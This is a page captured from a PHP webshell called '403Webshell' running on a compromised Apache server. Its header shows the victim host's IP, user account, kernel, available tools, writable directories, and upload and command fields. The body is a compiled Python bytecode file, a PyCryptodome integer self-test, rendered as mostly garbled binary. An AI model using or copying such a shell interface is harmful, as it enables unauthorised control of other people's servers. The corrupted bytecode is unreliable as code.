403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/Cryptodome/SelfTest/Math/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/Cryptodome/SelfTest/Math/__pycache__/test_Numbers.cpython-311.pyc
�

8�tcv����dZddlZddlZddlmZddlTddlmZGd�dej��Z	Gd�d	e	��Z
Gd
�dej��Zifd�Ze
d
krd�Zejd���dSdS)zSelf-test for Math.Numbers�N)�list_test_cases)�*)�
IntegerNativec�F�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z d�Z!d �Z"d!�Z#d"�Z$d#�Z%d$�Z&d%�Z'd&�Z(d'�Z)d(�Z*d)�Z+d*�Z,d+�Z-d,�Z.d-�Z/d.�Z0d/�Z1d0�Z2d1�Z3d2�Z4d3�Z5d4�Z6d5S)6�TestIntegerBasec� �td���)NzTo be implemented)�NotImplementedError��selfs �G/usr/lib/python3/dist-packages/Cryptodome/SelfTest/Math/test_Numbers.py�setUpzTestIntegerBase.setUp0s��!�"5�6�6�6�c�,�t|j|��S�N)�map�Integer)r�args  r�IntegerszTestIntegerBase.Integers3s���4�<��%�%�%rc�@�|j}|d��}||��}|d��}|�t|d��|d��}|d��}|d��}|d��}|d��}	|�||��|�|d��|�||��|�|d��|�|d��|�|d��|�|d��|�|d��|�|	d��|�||k��||��}|�||��|�|d	��dk��dS)
N����g�?ld(	l����d(	�l��l����r)r�assertRaises�
ValueError�assertEqual�assertFalse)
rr�v1�v2�v3�v4�v5�v6�v7�v8s
          r�test_init_and_equalityz&TestIntegerBase.test_init_and_equality6s����,��
�W�R�[�[��
�W�R�[�[��
�W�R�[�[�����*�g�s�3�3�3�
�W�V�_�_��
�W�W�
�
��
�W�V�_�_��
�W�Z�
 �
 ��
�W�'�
(�
(������R� � � �����R� � � �����R� � � �����R� � � �����X�&�&�&�����Y�'�'�'�����V�$�$�$�����Z�(�(�(�����/�0�0�0�����r��"�"�"��W�R�[�[������R� � � ���������t�+�,�,�,�,�,rc���|�dddz��\}}|�t|��d��|�t|��ddz��dS)Ni�����)rr�int�rrrs   r�test_conversion_to_intz&TestIntegerBase.test_conversion_to_intWs_�����s�A��I�.�.���B�����R���#�&�&�&�����R���!�t�)�,�,�,�,�,rc��|�ddddz��\}}}|�|dk��|�|dk��|�|dk��|�|ddzk��dS)Nri����r'r(��r�
assertTruer�rrrrs    r�test_equality_with_intsz'TestIntegerBase.test_equality_with_ints\s����]�]�2�s�A��I�6�6�
��B������b��!�!�!�����c�	�"�"�"�����r��"�"�"�����a�4�i��(�(�(�(�(rc�v�|�dddddz��\}}}}|�t|��dk��|�t|��dk��|�t|��dk��|�t|��d	k��dS)
N�ri��r'r(�20�0z-20�.10715086071862673209484250490600018105614048117055336074437503883703510511249361224931983788156958581275946729175531468251871452856923140435984577574698574803934567774824230985421074605062371141877954182153046474983581941267398767559165543946077062914571196477686542167660429831652624386837205668069376)rr/�str�rrrrr s     r�test_conversion_to_strz&TestIntegerBase.test_conversion_to_strcs������r�1�c�1��9�=�=���B��B�����B���4��(�(�(�����B���3��'�'�'�����B���5�(�)�)�)�����B���$T�T�	U�	U�	U�	U�	Urc���|�dddz��\}}|�t|��d��|�t|��d��dS)N���r'�PzInteger(-1)z"Integer(1208925819614629174706176))rr�reprr*s   r�	test_reprzTestIntegerBase.test_reprjs\�����r�1�b�5�)�)���B�����b���=�1�1�1�����b���#G�H�H�H�H�Hrc��|j}|d��}|�td��|�����|d��}|�td��|�����|�td��|�d����|�t
|jd��|d��}|�t
|j��dS)	Nr�r�ÿÿuÿÿ�����)rr�b�to_bytesrr�rrrrrs     r�test_conversion_to_bytesz(TestIntegerBase.test_conversion_to_bytesos����,��
�W�T�]�]������6���B�K�K�M�M�2�2�2�
�W�V�_�_������:������
�
�6�6�6�����>�*�*�B�K�K��N�N�;�;�;����*�b�k�1�5�5�5�
�W�S�\�\�����*�b�k�2�2�2�2�2rc��|j}|�td����}|�t	||����|�d|��|�td����}|�d|��|�td����}|�d|��dS)N�rzrAr)r�
from_bytesrEr/�
isinstancerrGs     r�test_conversion_from_bytesz*TestIntegerBase.test_conversion_from_bytes}s����,��
�
�
��&�	�	�
*�
*�����
�2�w�/�/�0�0�0�����B����
�
�
��*�
�
�
.�
.������B����
�
�
��*�
�
�
.�
.�������$�$�$�$�$rc���|�dddd��\}}}}|�||k��|�|dk��|�||k��|�|dk��|�||k��|�||k��|�|�d��dk��dS)N�Y�Z���r)rr/rrr8s     r�test_inequalityzTestIntegerBase.test_inequality�s������r�2�r�2�6�6���B��B�����b��!�!�!�����b��!�!�!�����r��"�"�"�����r��"�"�"�����b��!�!�!�����b��!�!�!�������Q���4�/�0�0�0�0�0rc���|�ddddd��\}}}}}|�||k��|�|dk��|�||k��|�|dk��|�||k��|�||k��|�||k��|�||k��dS�N�
�rQ�r.�rrrrr r!s      r�test_less_thanzTestIntegerBase.test_less_than�s���!�]�]�2�r�2�r�7�C�C���B��B������R�� � � �����R�� � � �����b��!�!�!�����b��!�!�!�����R�� � � �����b��!�!�!�����R�� � � �����b��!�!�!�!�!rc���|�ddddd��\}}}}}|�||k��|�|dk��|�||k��|�|dk��|�||k��|�||k��|�||k��|�||k��dS)NrUrV���rWr.rXs      r�test_less_than_or_equalz'TestIntegerBase.test_less_than_or_equal�s���!�]�]�2�r�2�r�7�C�C���B��B������b��!�!�!�����b��!�!�!�����b��!�!�!�����b��!�!�!�����b��!�!�!�����r��"�"�"�����b��!�!�!�����r��"�"�"�"�"rc��|�ddddd��\}}}}}|�||k��|�|dk��|�||k��|�||k��|�|dk��|�||k��|�||k��|�||k��|�||k��dSrTr.rXs      r�test_more_thanzTestIntegerBase.test_more_than�s���!�]�]�2�r�2�r�7�C�C���B��B������R�� � � �����R�� � � �����b��!�!�!�����b��!�!�!�����b��!�!�!�����R�� � � �����b��!�!�!�����R�� � � �����b��!�!�!�!�!rc�l�|�dddd��\}}}}|�||k��|�|dk��|�||k��|�||k��|�|dk��|�||k��dS)NrUrVr[r.r8s     r�test_more_than_or_equalz'TestIntegerBase.test_more_than_or_equal�s������r�2�r�2�6�6���B��B�����b��!�!�!�����b��!�!�!�����b��!�!�!�����b��!�!�!�����b��!�!�!�����r��"�"�"�"�"rc�p�|�dddd��\}}}}|�|��|�t|����|�|��|�t|����|�|��|�|��dS)Nr�
rrW)rr�boolr/r8s     r�	test_boolzTestIntegerBase.test_bool�s������q�"�b�'�:�:���B��B������������b���"�"�"������������R���!�!�!����������������rc��|�ddzdddddz��\}}}}}|�|�����|�|�����|�|�����|�|�����dS)NrB�d���r)rr/�is_negativerrXs      r�test_is_negativez TestIntegerBase.test_is_negative�s���!�]�]�A��H�9�b�!�Q��3��G�G���B��B��������(�(�)�)�)�������(�(�)�)�)�������)�)�*�*�*�������)�)�*�*�*�*�*rc��|�ddd��\}}}|�t||z|j����|�||zd��|�|dzd��|�||zd��|�|dzd��|�|dzd��dS)N�rP����arrWi�rr/rLrrr0s    r�
test_additionzTestIntegerBase.test_addition�s����]�]�1�b�"�-�-�
��B�����
�2��7�D�L�9�9�:�:�:�����b��"�%�%�%�����b��"�%�%�%�����b��!�$�$�$�����r��A�&�&�&�����g��{�3�3�3�3�3rc��|�ddd��\}}}|�t||z
|j����|�||z
d��|�|dz
d��|�||z
d��|�|dz
d��|�|dz
d��dS)	NrkrPrl�SrmrVrWi���rnr0s    r�test_subtractionz TestIntegerBase.test_subtraction�s����]�]�1�b�"�-�-�
��B�����
�2��7�D�L�9�9�:�:�:�����b��"�%�%�%�����a���$�$�$�����b��"�%�%�%�����r��B�'�'�'�����g��{�3�3�3�3�3rc�^�|�dddd��\}}}}|�t||z|j����|�||zd��|�|dzd��|�|dzd��|�|dzd��dS)N�����rWr3rQirnr8s     r�test_multiplicationz#TestIntegerBase.test_multiplication�s������q�!�R��9�9���B��B����
�2��7�D�L�9�9�:�:�:�����b��"�%�%�%�����a���$�$�$�����b��"�%�%�%�����g��}�5�5�5�5�5rc���|�ddddz��\�}}|�t�|z|j����|�|�zd��|�|dzd��|�|dzd��|�|ddzzd��|�t�fd���dS)NrB�r'r<rg�Oc����dzS�Nr��rs�r�<lambda>z0TestIntegerBase.test_floor_div.<locals>.<lambda>�s���R�1�W�r)rr/rLrrr�ZeroDivisionError�rrrrs   @r�test_floor_divzTestIntegerBase.test_floor_div�s�����]�]�1�a��b��1�1�
��B�����
�2��8�T�\�:�:�;�;�;�����r��1�%�%�%�����q��!�$�$�$�����r��2�&�&�&�����q�B�w���*�*�*����+�_�_�_�_�=�=�=�=�=rc����|�ddd��\�}}|�t�|z|j����|��|zd��|��dzd��|�|dzd��|��dzd��|�t�fd���|�t�fd���dS)	Nrrur[rBrCrWc����dzSr|r}r~s�rrz0TestIntegerBase.test_remainder.<locals>.<lambda>s���R�!�V�rc����dzS)N���r}r~s�rrz0TestIntegerBase.test_remainder.<locals>.<lambda>s���b�2�g�r)rr/rLrrrr�rr�s   @r�test_remainderzTestIntegerBase.test_remainder�s�����]�]�2�q�"�-�-�
��B�����
�2��7�D�L�9�9�:�:�:�����b��!�$�$�$�����a���#�#�#�����a���#�#�#�����g��r�*�*�*����+�^�^�^�^�<�<�<����*�o�o�o�o�6�6�6�6�6rc�.�|�ddd��\}}}|�t||z|j����|�||zd��|�t||��d��|�|dzd��|�t|d��d��|�|dzd��|�|dzd��|�tt
|d��dS)NrtrBrv�@r'rQrg)rr/rLrr�powrrr0s    r�test_simple_exponentiationz*TestIntegerBase.test_simple_exponentiations���]�]�1�a��,�,�
��B�����
�2��8�T�\�:�:�;�;�;�����r��2�&�&�&�����R����b�)�)�)�����q��"�%�%�%�����R����R�(�(�(�����q��!�$�$�$�����q��"�%�%�%����*�c�2�r�2�2�2�2�2rc	��|�ddd��\}}}|�tt|||��|j����|�t|||��d��|�t|d|��d��|�t||d��d��|�t|dd��d��|�t|dd��d��|�t|dddz��d��|�t|ddzd	��d
��|�tt|dd��|�tt|dd��|�tt|dd
��dS)Nrru�rkrrCr'r<i�\iEr[rgry)	rr/rLr�rrrr�rr0s    r�test_modular_exponentiationz+TestIntegerBase.test_modular_exponentiations����]�]�2�q�"�-�-�
��B�����
�3�r�2�r�?�?�D�L�A�A�B�B�B�����R��R���!�,�,�,�����R��R���!�,�,�,�����R��R���!�,�,�,�����R��R���!�,�,�,�����R��R���!�,�,�,�����R��Q�"�W�-�-�r�2�2�2�����R��b��5�1�1�5�9�9�9����+�S�"�a��;�;�;����*�c�2�q�"�5�5�5����*�c�2�r�1�5�5�5�5�5rc��|�d��}|�d��|�|d��|�d��}|�dd��|�|d��dS)Nrtr'��rC)r�inplace_powr�rrs  r�test_inplace_exponentiationz+TestIntegerBase.test_inplace_exponentiation!sx��
�\�\�!�_�_��
���q��������R� � � �
�\�\�!�_�_��
���q�"��������Q�����rc��|�ddzdddddz��\}}}}}|�t|��ddz��|�t|��d��|�t|��d��|�t|��d��|�t|��ddz��dS)Nr'rfrvr)rr�absrXs      r�test_abszTestIntegerBase.test_abs*s���!�]�]�A��H�9�b�!�Q��S��I�I���B��B������R���!�s�(�+�+�+�����R���!�$�$�$�����R���!�$�$�$�����R���!�$�$�$�����R���!�s�(�+�+�+�+�+rc�|�|�dddddz��\}}}}|�t|j��|�|���d��|�|���d��|�|���ddz��dS)Nrvr�1rbrfrk�2)rrr�sqrtrr8s     r�	test_sqrtzTestIntegerBase.test_sqrt2s������r�1�b�"�c�'�:�:���B��B����*�b�g�.�.�.���������A�&�&�&���������A�&�&�&���������B��F�+�+�+�+�+rc��|�t|�d��jd��|�t|�d��jd��|�d���d��dksJ�|�d���d��dvsJ�dD]P}t	d|��D]=}|dz|z}|�|���|��}||||z
fvsJ��>�Q|�t|�d��jd��|�t|�d	��jd
��|�d���d��dvsJ�|�d
���d��dvsJ�dS)Nrurr;rC)rCrt)�rUr��r���%�)�+�/�5r'r�rtrbr�)rtrkr�)rrrr��range)r�p�i�square�ress     r�test_sqrt_modulez TestIntegerBase.test_sqrt_module:s���	
���*�d�l�l�1�o�o�&:�A�>�>�>����*�d�l�l�1�o�o�&:�B�?�?�?��|�|�A���#�#�A�&�&�!�+�+�+�+��|�|�A���#�#�A�&�&�&�0�0�0�0�B�	)�	)�A��1�a�[�[�
)�
)���A������l�l�6�*�*�/�/��2�2���q�!�a�%�j�(�(�(�(�(�
)�	
���*�d�l�l�1�o�o�&:�B�?�?�?�	
���*�d�l�l�1�o�o�&:�B�?�?�?��|�|�F�#�#�(�(��,�,��6�6�6�6��|�|�F�#�#�(�(��,�,��6�6�6�6�6�6rc�"�|�dd��\}}||z
}|�|d��|dz
}|�|d��|dz
}|�|d��|ddzz
}|�|dddzz��dS)	Nrbr3��(r;�'r'r(�rrr*s   r�test_in_place_addz!TestIntegerBase.test_in_place_addUs������r�2�&�&���B�
�b�������R� � � �
�b�������R� � � �
�b�������R� � � �
�a�4�i�������R�!�t�)�^�,�,�,�,�,rc��|�dd��\}}||z}|�|d��|dz}|�|d��|dz}|�|d��|dz}|�|d	��dS)
Nrbr3i����i����rPi�_iʠ��i`y��ij'r�r*s   r�test_in_place_subz!TestIntegerBase.test_in_place_subas������r�2�&�&���B�
�b�������S�!�!�!�
�d�
������R� � � �
�e�������V�$�$�$�
�g�
������U�#�#�#�#�#rc�"�|�dd��\}}||z}|�|d��|dz}|�|d��|dz}|�|d��|ddzz}|�|dddzz��dS)	NrBrur�r'r�rvi���r(r�r*s   r�test_in_place_mulz!TestIntegerBase.test_in_place_mulms������q�!�$�$���B�
�b�������R� � � �
�a�������R� � � �
�b�������S�!�!�!�
�a�4�i�������S�A��I�.�/�/�/�/�/rc�"����dd��\}}||z}��|d��|ddzz}��|d��|dz}��|d���fd�}��t|��dS)Nr3rk�r'r(rc�<����d��}|dz}dS)N�	r�r)rrs �r�tz0TestIntegerBase.test_in_place_modulus.<locals>.t�s������a���B��!�G�B�B�Br)rrrr�)rrrr�s`   r�test_in_place_modulusz%TestIntegerBase.test_in_place_modulusys�������r�1�%�%���B�
�b�������Q����
�a�4�i�������Q����
�a�������Q����	�	�	�	�	�	
���+�Q�/�/�/�/�/rc���|�ddd��\}}}|�t||z|j����|�||zd��|�|dzd��|�||zd��|�|dzd��|�|dzd��|�|ddzdzzd��dS)N��r����0��r'r(rnr0s    r�test_andzTestIntegerBase.test_and�s����]�]�4��t�4�4�
��B�����
�2��7�D�L�9�9�:�:�:�����b��$�'�'�'�����d��D�)�)�)�����b��$�'�'�'�����d��D�)�)�)�����d��D�)�)�)�����q�D�y�4�/�0�$�7�7�7�7�7rc�l�|�ddd��\}}}|�t||z|j����|�||zd��|�|dzd��|�||zd��|�|ddzzddzdz��dS)Nr��r���i�r'r(rnr0s    r�test_orzTestIntegerBase.test_or�s����]�]�4��t�4�4�
��B�����
�2��7�D�L�9�9�:�:�:�����b��$�'�'�'�����d��D�)�)�)�����b��$�'�'�'�����a�4�i���d��T�)9�:�:�:�:�:rc���|�ddd��\�}}|��dz	���|�t�|z	|j����|��|z	d��|��dz	d��|�t�fd���|��ddzz	d��|�|dz	d	��|�|ddzz	d
��dS)Nr�rC��rryc����dz	S�Nr;r}r~s�rrz2TestIntegerBase.test_right_shift.<locals>.<lambda>�����b�B�h�rr'r(rQr;�rrr/rLrrrr�s   @r�test_right_shiftz TestIntegerBase.test_right_shift�s����]�]�4��E�2�2�
��B������q��"�%�%�%����
�2��8�T�\�:�:�;�;�;�����r��4�(�(�(�����q��$�'�'�'����*�&6�&6�&6�&6�7�7�7������T�	�*�A�.�.�.�����q��%�(�(�(������T�	�*�B�/�/�/�/�/rc������ddd��\}}}|dz}��|d��|dz}��|d��||z}��|d��|dz}��|d���fd�}��t|���fd	�}��d|�����fd
�}��d|����dS)Nr�rCr�rryrtrQc�<����d��}|dz}dS�N�r;r��r rs �r�lz4TestIntegerBase.test_in_place_right_shift.<locals>.l��!������d�#�#�B��2�I�B�B�Brc�B����d��}|ddzz}|S�Nr�r'r(r�r�s �r�m1z5TestIntegerBase.test_in_place_right_shift.<locals>.m1�s'������d�#�#�B��1��9��B��Irc�B����d��}|ddzz}|S)Nr;r'r(r�r�s �r�m2z5TestIntegerBase.test_in_place_right_shift.<locals>.m2�s'������b�!�!�B��1��9��B��Irr;�rrrr)rrrrr�r�r�s`      r�test_in_place_right_shiftz)TestIntegerBase.test_in_place_right_shift�s?����]�]�4��E�2�2�
��B��
�q�������T�"�"�"�
�q�������T�"�"�"�
�r�	������T�"�"�"�
�q�������U�#�#�#�	�	�	�	�	�	
���*�a�(�(�(�	�	�	�	�	�	
����B�B�D�D�!�!�!�	�	�	�	�	�	
����R�R�T�T�"�"�"�"�"rc����|�ddd��\�}}|��dz���|�t�|z|j����|��|zd��|��dzd��|�|dzd��|�t�fd���|�t�fd���dS)	Nr�rCr�r� ���c����dzSr�r}r~s�rrz2TestIntegerBase._test_left_shift.<locals>.<lambda>�r�rc����ddzzS)Nr'r(r}r~s�rrz2TestIntegerBase._test_left_shift.<locals>.<lambda>�s���b�Q�$�Y�.?�rr�r�s   @r�_test_left_shiftz TestIntegerBase._test_left_shift�s�����]�]�4��E�2�2�
��B������q��"�%�%�%����
�2��8�T�\�:�:�;�;�;�����r��4�(�(�(�����q��$�'�'�'�����q��%�(�(�(����*�&6�&6�&6�&6�7�7�7����*�&?�&?�&?�&?�@�@�@�@�@rc�����ddd��\}}}|dz}��|d��|dz}��|d��||z}��|d��|dz}��|d���fd�}��t|���fd	�}��t|��dS)
Nr�rCr�rr�r�r�c�<����d��}|dz}dSr�r�r�s �rr�z3TestIntegerBase.test_in_place_left_shift.<locals>.l�r�rc�B����d��}|ddzz}dSr�r�r�s �r�mz3TestIntegerBase.test_in_place_left_shift.<locals>.m�s&������d�#�#�B��1��9��B�B�Brr�)rrrrr�r�s`     r�test_in_place_left_shiftz(TestIntegerBase.test_in_place_left_shift�s����]�]�4��E�2�2�
��B��
�q�������T�"�"�"�
�q�������T�"�"�"�
�r�	������T�"�"�"�
�q�������U�#�#�#�	�	�	�	�	�	
���*�a�(�(�(�	�	�	�	�	�	
���*�a�(�(�(�(�(rc�x�|�ddd��\}}}|�|�d��d��|�|�d��d��|�|�|��d��|�|�d��d��|�|�d��d��|�t|jd��|�|�dd	z��d��|�t|jd��|�t|jd��|�t|jd��|�t|jd
��dS)NirgrCrryr�r;r'r(i�)rr�get_bitrrr0s    r�test_get_bitzTestIntegerBase.test_get_bit�sk���]�]�5�"�a�0�0�
��B��������A����*�*�*�������A����*�*�*�������B����+�+�+�������A����*�*�*�������A����*�*�*����*�b�j�"�5�5�5�������A��I�.�.��2�2�2����*�b�j�"�5�5�5����*�b�j�!�4�4�4����*�b�j�!�4�4�4����*�b�j�(�;�;�;�;�;rc�P�|�ddddd��\}}}}}|�|�����|�|�����|�|�����|�|�����|�|�����|�|�����|�|�����|�|�����|�|�����|�|�����dS)Nrrtr�r[i��)rr/�is_evenr�is_oddrXs      r�
test_odd_evenzTestIntegerBase.test_odd_even�s:��!�]�]�1�a��R��=�=���B��B������
�
���%�%�%�����
�
���%�%�%���������&�&�&�����
�
���%�%�%���������&�&�&���������%�%�%���������%�%�%�����	�	���$�$�$���������%�%�%�����	�	���$�$�$�$�$rc�p�|�dddd��\}}}}|�|���d��|�|���d��|�|���d��|�t|j��dS)NrrC�rDr�)rr�size_in_bitsrrr8s     r�test_size_in_bitsz!TestIntegerBase.test_size_in_bits�s������q�!�U�C�8�8���B��B�������*�*�A�.�.�.�������*�*�A�.�.�.�������*�*�A�.�.�.����*�b�o�6�6�6�6�6rc��|�dddddd��\}}}}}}|�|���d��|�|���d��|�|���d��|�|���d��|�|���d��|�t|j��dS)	NrrC�i�irr'rB)rr�
size_in_bytesrrr��rrrrr r!r"s       r�test_size_in_bytesz"TestIntegerBase.test_size_in_bytess���!%���q�!�T�5�'�2�!N�!N���B��B��B�����)�)�+�+�Q�/�/�/�����)�)�+�+�Q�/�/�/�����)�)�+�+�Q�/�/�/�����)�)�+�+�Q�/�/�/�����)�)�+�+�Q�/�/�/����*�b�o�6�6�6�6�6rc���|�|�d�������|�|�d�������|�|�d�������|�|�d�������|�|�d�������|�|�d�������|�|�d�������|�|�d�������t	d	d
��D]}|�|�|dzdz�������|�|�|dz���������dS)NrrrCr'rBrti�i�rfr()rr�is_perfect_squarer/r�)r�xs  r�test_perfect_squarez#TestIntegerBase.test_perfect_squares���������b�)�)�;�;�=�=�>�>�>�������Q���9�9�;�;�<�<�<�������Q���9�9�;�;�<�<�<�������a���:�:�<�<�=�=�=�������a���:�:�<�<�=�=�=�������Q���9�9�;�;�<�<�<�������U�+�+�=�=�?�?�@�@�@�������g�.�.�@�@�B�B�C�C�C��s�D�!�!�	D�	D�A����T�\�\�!�Q�$�q�&�1�1�C�C�E�E�F�F�F��O�O�D�L�L��A��.�.�@�@�B�B�C�C�C�C�	D�	Drc�D�|�ddd��\}}}|�d��|�d��|�ddz��|�t|jd��|�t|j|��dS)N�i�rtrkr'r<)r�fail_if_divisible_byrrr0s    r�test_fail_if_divisible_byz)TestIntegerBase.test_fail_if_divisible_bys����]�]�2�s�A�.�.�
��B��	����"�"�"�
����"�"�"�
����R��(�(�(�	
���*�b�&=�q�A�A�A����*�b�&=�r�B�B�B�B�Brc���|�ddd��\}}}|�||��|�|d��|�|d��|�|d��|�d|��|�|d��|�dd��|�|d	��|�dd��|�|d
��|�dddz��|�|d
ddzz��|�ddzd��|�|d
ddzz��dS)
NrtrBr'rbr��rCrvr3�r(��)r�multiply_accumulaterr0s    r�test_multiply_accumulatez(TestIntegerBase.test_multiply_accumulate&so���]�]�1�a��+�+�
��B��
���r�2�&�&�&�����R� � � �
���r�1�%�%�%�����R� � � �
���q�"�%�%�%�����R� � � �
���q�"�%�%�%�����R� � � �
���r�1�%�%�%�����R� � � �
���q�!�t�)�,�,�,�����R�!�t�)�^�,�,�,�
���q�D�y�!�,�,�,�����R�!�t�)�^�,�,�,�,�,rc��|�dd��\}}|�|��|�|d��|�d��|�|d��|�d��|�|d��|�ddz��|�|ddz��dS)NrBr�r�rvr'r()r�setrr*s   r�test_setzTestIntegerBase.test_set7s������q�!�$�$���B�
���r�
�
�
�����Q����
���q�	�	�	�����Q����
���r�
�
�
�����R� � � �
���q�D�y��������Q�$�Y�'�'�'�'�'rc�`�|�dddddd��\}}}}}}|�t|�|��|j����|�|�|��d��|�|�d��d��|�|�d��d��|�|�d��d	��|�|�d
��d��|�t|jd��|�t|jd��|�t|jd��|�t|jd��dS)
Nr'rurgri�ii
rBi���iKS~i�&i�rb)	rr/rL�inverserrrrr�r�s       r�test_inversezTestIntegerBase.test_inverseBse��!%���q�!�R��F�D�!I�!I���B��B��B����
�2�:�:�b�>�>�4�<�@�@�A�A�A�������B����+�+�+�������A����*�*�*�������A����*�*�*�������H�-�-�x�8�8�8�������D�)�)�4�0�0�0����*�b�j�"�5�5�5����*�b�j�"�5�5�5����*�b�j�"�5�5�5����+�R�Z��;�;�;�;�;rc��|�dd��\}}|�|��|�|d��dS)Nr'rurB)r�inplace_inverserr*s   r�test_inplace_inversez$TestIntegerBase.test_inplace_inverseQsI�����q�!�$�$���B�
���2��������Q�����rc�P�|�dddd��\}}}}|�t|�|��|j����|�|�|��d��|�|�d��d��|�|�|��d��|�|�d��d��|�|�d��d��dS)Nr�rbr�rvr'rC)rr/rL�gcdrrr8s     r�test_gcdzTestIntegerBase.test_gcdWs������q�"�b�"�5�5���B��B����
�2�6�6�"�:�:�t�|�<�<�=�=�=����������Q�'�'�'����������Q�'�'�'����������Q�'�'�'����������Q�'�'�'����������A�&�&�&�&�&rc��|�ddddd��\}}}}}|�t|�|��|j����|�|�|��d��|�|�d��d��|�|�|��d��|�|�d��d��|�|�d��d��|�|�d��d��|�|�d��d��dS)Nr�rbr�rvrr��f)rr/rL�lcmrrrXs      r�test_lcmzTestIntegerBase.test_lcm`s4��!�]�]�1�b�"�b�!�<�<���B��B�����
�2�6�6�"�:�:�t�|�<�<�=�=�=����������R�(�(�(����������R�(�(�(����������S�)�)�)����������Q�'�'�'����������A�&�&�&����������A�&�&�&����������A�&�&�&�&�&rc
�B�d}|jj}tdd��D]"}|�||d��d���#tddd��D]"}|�|d|��d���#|�t
|dd��|�t
|dd��|�t
|dd��|�t
|dd��|�t
|dd��|�t
|dd	��|�t
|dd��|�t
|dd
��|D]�}|�||d|d��|d��|�||�|d��|d��|d��|�||d|�|d����|d����dS)N))rrCrC)r��-rC)ry�r;)rurrC)ibi�r;)ri�&r;)rul-&r;rCr�r'r�rvr;rrtry)r�
jacobi_symbolr�rrr)r�data�js�k�n�tvs      r�test_jacobi_symbolz"TestIntegerBase.test_jacobi_symbolks!�����\�
'���q�"���	*�	*�A����R�R��1�X�X�q�)�)�)�)��q�"�a���	*�	*�A����R�R��1�X�X�q�)�)�)�)�	
���*�b�!�R�0�0�0����*�b�!�R�0�0�0����*�b�!�Q�/�/�/����*�b�!�Q�/�/�/����*�b�!�Q�/�/�/����*�b�!�Q�/�/�/����*�b�!�Q�/�/�/����*�b�!�Q�/�/�/��	D�	D�B����R�R��1��r�!�u�-�-�r�!�u�5�5�5����R�R����R��U� 3� 3�R��U�;�;�R��U�C�C�C����R�R��1��t�|�|�B�q�E�':�':�;�;�R��U�C�C�C�C�	D�	Drc��dgd�fdgd�fdgd�fdgd�fd	gd
�fdgd�fd
gd�fdgd�fdgd�fdgd�fdgd�fdgd�fdgd�fdgd�fg}|jj}|D]-\}}|D]%\}}|�|||��|���&�.dS)NrB)�rCrC�r'r;�rBr�rtrC�rur;�r�r�rkrC�ryr;�r�r�rbrC�r�r;�r�r�rUrC�rVr;�r�r�r�rC�r�r;�rr�r�rC�r3r;�rr�rrC�rr;�r-r��rC��r;��r��rC�r�r;�r�rru)r!r"�rBr;r$�rur�r�rC�rkr;r(�r�rC�rbr�r�rC�r�r;�rUr;�rVrCr/r0r1�rr;r3�r3r�rrC�rr;r7�r-rC�r:r�r<rC�r>r;�r@r;�r�rCrBrk)r!�r'rCrCr$r%�r�r;�rkr�ryrCrG�rbr;rIrJrK�rVr�r�rCr0r1�rrC�r�r;r4r5r6�rrC�r-r;r9r;rT�r@rrV�r�rCr�)r!rWr#r$�rurCr&r'rZr)r*rIr,r-rLr/r0�r�rCr2r3�r3rCr5r6r`r8r9rSr=r?rVrBr�)r!r"�rBrCr$rdrXrFr(rGr[)r�r�r�rCrKrLr]r0r1rMr_rf�rr;)rrr`rar9rS�r>rCrUrA�r�r;rU)r!r"rgr$r%rXrFr(rGr*r+rh)rUrrL�r�r;r0rerMr_r4rir6r`rar9)r<rrjrUrVrcr�)r!rWr#r$rDr&rFrZr)rHr+r,rKr.r/r0rer2r3rNr5rPr`r8rRr;r=rUrArBr�)r!rWrCr$r%rXrFrZrGr[r+rJr-r.r]r0)r�rr^r3r4rOrPr7rar9rSrTrUrArcr�)r!r"rCr$rdrEr'r(rGr[rIrJrKr.rlr0rerM)r�rrfrirPr`rQr9rSrTr?rArcr)r!r"r#r$rdr&rYr(r)r[r+r,rKr\r/r0rer2r_rfr5r6r7r8r9rSr=rbrArBr)r!rWrgr$r%rErFrZrGr[r+rhr-r.rlr0r1r^r_r4rirP)rrrQr9rSrjrUrVrkr:)r!rWrgr$rDrEr'rZrGrHrIrhr-rLr/r0rer^r3rNrOr6r`rQrRrSrjr?rVrBr>r�)r!r"rCr$rdrEr'r(rGr[r+rJr-r.rlr0r1rMr_rfrir6r`rQr9r;rTr?)r�rrc)rrr)rrrr�kjr�js       r�test_jacobi_symbol_wikipediaz,TestIntegerBase.test_jacobi_symbol_wikipedia�s����`�`�`�
a�
�b�b�b�
c�
�b�b�b�
c�
�V�V�V�
W�
�e�e�e�
f�
�d�d�d�
e�
�_�_�_�
`�
�f�f�f�
g�
�d�d�d�
e�
�_�_�_�
`�
�d�d�d�
e�
�W�W�W�
X�
�a�a�a�
b�
�e�e�e�
f���"�\�
'���	.�	.�E�A�r��
.�
.���1�� � ���A�q���1�-�-�-�-�
.�	.�	.rc�z�|�d��\}|�t|��d��dS)Nr��0x10)rr�hexr�s  r�test_hexzTestIntegerBase.test_hex�s7���m�m�D�!�!�������R���&�)�)�)�)�)rN)7�__name__�
__module__�__qualname__r
rr%r+r1r9r>rHrMrRrYr\r^r`rdrirorrrwr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrrrrrorsr}rrrr.s4������7�7�7�&�&�&�-�-�-�B-�-�-�
)�)�)�U�U�U�I�I�I�
3�3�3�%�%�%�	1�	1�	1�
"�
"�
"�
#�
#�
#�"�"�"�#�#�#����+�+�+�4�4�4�4�4�4�6�6�6�>�>�>�	7�	7�	7�
3�
3�
3�6�6�6�  � � �,�,�,�,�,�,�7�7�7�6
-�
-�
-�
$�
$�
$�
0�
0�
0�0�0�0�8�8�8�;�;�;�
0�
0�
0�#�#�#�2A�A�A�)�)�)�(<�<�<� 
%�
%�
%�7�7�7�7�7�7�
D�
D�
D�
C�
C�
C�-�-�-�"	(�	(�	(�
<�
<�
